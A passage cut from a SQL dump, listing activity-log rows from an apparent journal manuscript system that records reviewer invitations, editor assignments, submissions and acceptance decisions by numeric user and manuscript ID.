00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98252,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98253,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98254,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98255,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98256,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98257,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98258,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98259,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98260,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98261,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98262,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98263,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98264,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98265,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98266,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98267,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98268,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10241,'Publisher',84),(98310,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10340,'Publisher',85),(98345,'0000-00-00 00:00:00','Reviewer has submitted comments',10142,'Reviewer',11520),(98346,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10142,'Publisher',48),(98351,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10342,'Publisher',274),(98410,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98411,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98412,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98413,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98414,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98415,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98416,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98417,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98418,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98419,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98420,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98421,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98422,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98423,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98424,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98426,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10344,'Author',11016),(98429,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10346,'Author',11018),(98467,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10349,'Author',11021),(98470,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10350,'Publisher',48),(98471,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10351,'Publisher',48),(98487,'0000-00-00 00:00:00','Publisher has Invited Reviewer',9973,'Publisher',48),(98492,'0000-00-00 00:00:00','Publisher : Notified Editor',8837,'Publisher',274),(98493,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8837,'Editor',1594),(98494,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',8837,'Publisher',274),(98495,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9973,'Editor',194),(98496,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9973,'Editor',194),(98499,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9973,'Publisher',48),(98500,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9973,'Publisher',48),(98501,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8837,'Publisher',274),(98519,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10012,'Editor',162),(98520,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10012,'Editor',162),(98522,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10012,'Publisher',75),(98557,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8638,'Editor',161),(98558,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8638,'Publisher',75),(98559,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8846,'Editor',160),(98560,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',8846,'Publisher',75),(98562,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9031,'Editor',160),(98563,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9031,'Publisher',75),(98565,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9057,'Editor',161),(98566,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9057,'Editor',161),(98567,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9057,'Publisher',75),(98617,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10366,'Author',11035),(98618,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98619,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98620,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98621,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98622,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98623,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98624,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98625,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98626,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98627,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98631,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98632,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98635,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98636,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10265,'Publisher',673),(98637,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10368,'Author',11037),(98643,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10322,'Publisher',84),(98646,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10371,'Author',11040),(98647,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98648,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98649,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98650,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98651,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98652,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98653,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98654,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10247,'Publisher',673),(98667,'0000-00-00 00:00:00','Publisher : Notified Editor',10101,'Publisher',988),(98668,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10101,'Editor',1410),(98669,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10101,'Editor',1410),(98670,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10100,'Editor',1410),(98671,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10100,'Editor',1410),(98676,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10101,'Publisher',988),(98677,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10100,'Publisher',988),(98680,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10101,'Publisher',988),(98682,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10101,'Publisher',988),(98683,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10100,'Publisher',988),(98684,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9411,'Publisher',988),(98705,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10333,'Publisher',319),(98706,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10332,'Publisher',319),(98707,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10331,'Publisher',319),(98708,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10330,'Publisher',319),(98709,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10329,'Publisher',319),(98710,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10329,'Editor',1069),(98711,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10330,'Editor',1069),(98712,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10331,'Editor',1069),(98713,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10332,'Editor',1069),(98714,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10333,'Editor',1069),(98715,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10329,'Editor',1069),(98716,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10330,'Editor',1069),(98717,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10333,'Editor',1069),(98718,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10332,'Editor',1069),(98719,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10331,'Editor',1069),(98720,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10329,'Publisher',319),(98721,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10330,'Publisher',319),(98724,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10335,'Publisher',48),(98725,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9397,'Editor',1406),(98726,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9397,'Editor',1406),(98727,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9397,'Publisher',984),(98728,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9397,'Publisher',984),(98729,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9397,'Publisher',984),(98735,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10331,'Publisher',319),(98736,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10332,'Publisher',319),(98737,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10333,'Publisher',319),(98738,'0000-00-00 00:00:00','Manuscript Updated',10331,'Publisher',319),(98739,'0000-00-00 00:00:00','Manuscript Updated',10333,'Publisher',319),(98740,'0000-00-00 00:00:00','Manuscript Updated',10330,'Publisher',319),(98747,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(98748,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10340,'Publisher',85),(98749,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10340,'Editor',1675),(98750,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10340,'Editor',1675),(98751,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10340,'Publisher',85),(98752,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10340,'Publisher',85),(98753,'0000-00-00 00:00:00','Reviewer has submitted comments',9753,'Reviewer',11520),(98754,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9753,'Editor',194),(98755,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',9753,'',1045),(98756,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9753,'',1045),(98772,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9770,'Publisher',248),(98773,'0000-00-00 00:00:00','Reviewer has submitted comments',9713,'Reviewer',18259),(98774,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',9713,'Editor',1674),(98775,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10234,'Editor',1674),(98776,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10234,'Editor',1674),(98777,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',9713,'Publisher',248),(98841,'0000-00-00 00:00:00','Manuscript Updated',10340,'Publisher',85),(98854,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10346,'Publisher',48),(98855,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10351,'Publisher',48),(98856,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10350,'Publisher',48),(98869,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10400,'Author',11056),(98871,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10371,'Publisher',84),(98873,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98874,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98875,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98876,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98877,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98878,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98879,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98880,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98881,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98882,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98883,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98884,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10360,'',1105),(98885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10371,'Publisher',84),(98889,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10360,'Editor',1705),(98890,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98891,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98892,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98893,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98894,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98895,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98896,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98905,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98906,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98907,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98908,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98909,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10322,'Publisher',84),(98911,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98912,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98913,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98914,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98915,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98916,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98917,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98918,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98919,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98920,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98921,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98922,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98923,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98924,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98925,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10150,'Publisher',84),(98926,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98927,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98928,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98929,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98930,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98931,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98932,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98933,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98934,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98935,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98936,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98937,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10149,'Publisher',84),(98938,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10371,'Editor',221),(98939,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10322,'Editor',221),(98940,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10241,'Editor',221),(98941,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10222,'Editor',221),(98942,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10149,'Editor',221),(98943,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',9539,'Editor',221),(98944,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10371,'Editor',221),(98945,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10371,'Editor',221),(98946,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10322,'Editor',221),(98947,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10241,'Editor',221),(98948,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10222,'Editor',221),(98949,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10149,'Editor',221),(98953,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10335,'Publisher',48),(98954,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10335,'Publisher',48),(98955,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10335,'Publisher',48),(98956,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10335,'Publisher',48),(98957,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10346,'Publisher',48),(98958,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10346,'Publisher',48),(98959,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10346,'Publisher',48),(98960,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10346,'Publisher',48),(98961,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10350,'Publisher',48),(98962,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10350,'Publisher',48),(98963,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10350,'Publisher',48),(98964,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10350,'Publisher',48),(98973,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10351,'Publisher',48),(98974,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10351,'Publisher',48),(98975,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10351,'Publisher',48),(98976,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10351,'Publisher',48),(99015,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10349,'Publisher',376),(99072,'0000-00-00 00:00:00','Author sent Email',10190,'Author',10904),(99081,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10409,'Author',11064),(99088,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10368,'Publisher',85),(99089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99092,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99093,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99094,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99095,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99096,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99097,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99098,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99099,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99118,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10200,'Editor',222),(99119,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10150,'Editor',222),(99120,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10200,'Editor',222),(99121,'0000-00-00 00:00:00','Reviewer has submitted comments',10200,'Reviewer',11446),(99129,'0000-00-00 00:00:00','Publisher : Notified Author',9517,'Publisher',85),(99138,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10413,'Publisher',48),(99139,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99140,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99141,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99142,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99143,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99144,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99145,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99146,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99147,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10368,'Publisher',85),(99148,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99149,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99150,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99151,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99152,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99153,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99154,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99155,'0000-00-00 00:00:00','Publisher has Invited Reviewer',8872,'Publisher',85),(99168,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',10414,'Publisher',48),(99173,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10012,'Publisher',75),(99194,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10344,'Publisher',673),(99231,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',10040,'Publisher',248),(99258,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10190,'Editor',194),(99259,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10190,'Editor',194),(99260,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10263,'Editor',194),(99261,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10263,'Editor',194),(99262,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10190,'Publisher',48),(99263,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',10263,'Publisher',48),(99264,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10349,'Editor',1705),(99265,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10349,'Editor',1705),(99266,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',10360,'Editor',1705),(99336,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10342,'Publisher',274),(99337,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10366,'Publisher',274),(99369,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10437,'Author',11090),(99394,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99395,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99396,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99397,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99398,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99399,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99400,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99401,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99402,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99403,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99404,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99405,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99406,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99407,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99408,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99409,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10344,'Publisher',673),(99416,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10409,'Publisher',48),(99431,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10451,'Author',11103),(99432,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10452,'Author',11104),(99439,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',10454,'Author',11106),(99448,'0000-00-00 00:00:00','Reviewer has submitted comments',10368,'Reviewer',13669),(99458,'0000-00-00 00:00:00','Reviewer has submitted comments',8872,'Reviewer',10962),(99459,'0000-00-00 00:00:00','Reviewer has updated comments',8872,'Reviewer',10962),(99470,'0000-00-00 00:00:00','Publisher : Notified Editor',10368,'Publisher',85),(99471,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',10368,'Editor',1343),(99472,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',10368,'Editor',1343),(99473,'0000-00-00 00:00:00','Publisher : Notified Author',10368,'Publisher',85),(99478,'0000-00-00 00:00:00','Publisher : Notified Editor',8872,'Publisher',85),(99479,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',8872,'Editor',1251),(99480,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',8872,'Editor',1251),(99567,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10414,'Publisher',48),(99568,'0000-00-00 00:00:00','Publisher has been Assigned Editor',10413,'Publisher',48),(99569,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10139,'Publisher',274),(99570,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10139,'Publisher',274),(99571,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10139,'Publisher',274),(99572,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10139,'Publisher',274),(99573,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10143,'Publisher',274),(99574,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10143,'Publisher',274),(99575,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10143,'Publisher',274),(99576,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(99577,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(99578,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10147,'Publisher',274),(99579,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(99580,'0000-00-00 00:00:00','Publisher has Invited Reviewer',10178,'Publisher',274),(99581,'0000-00-00 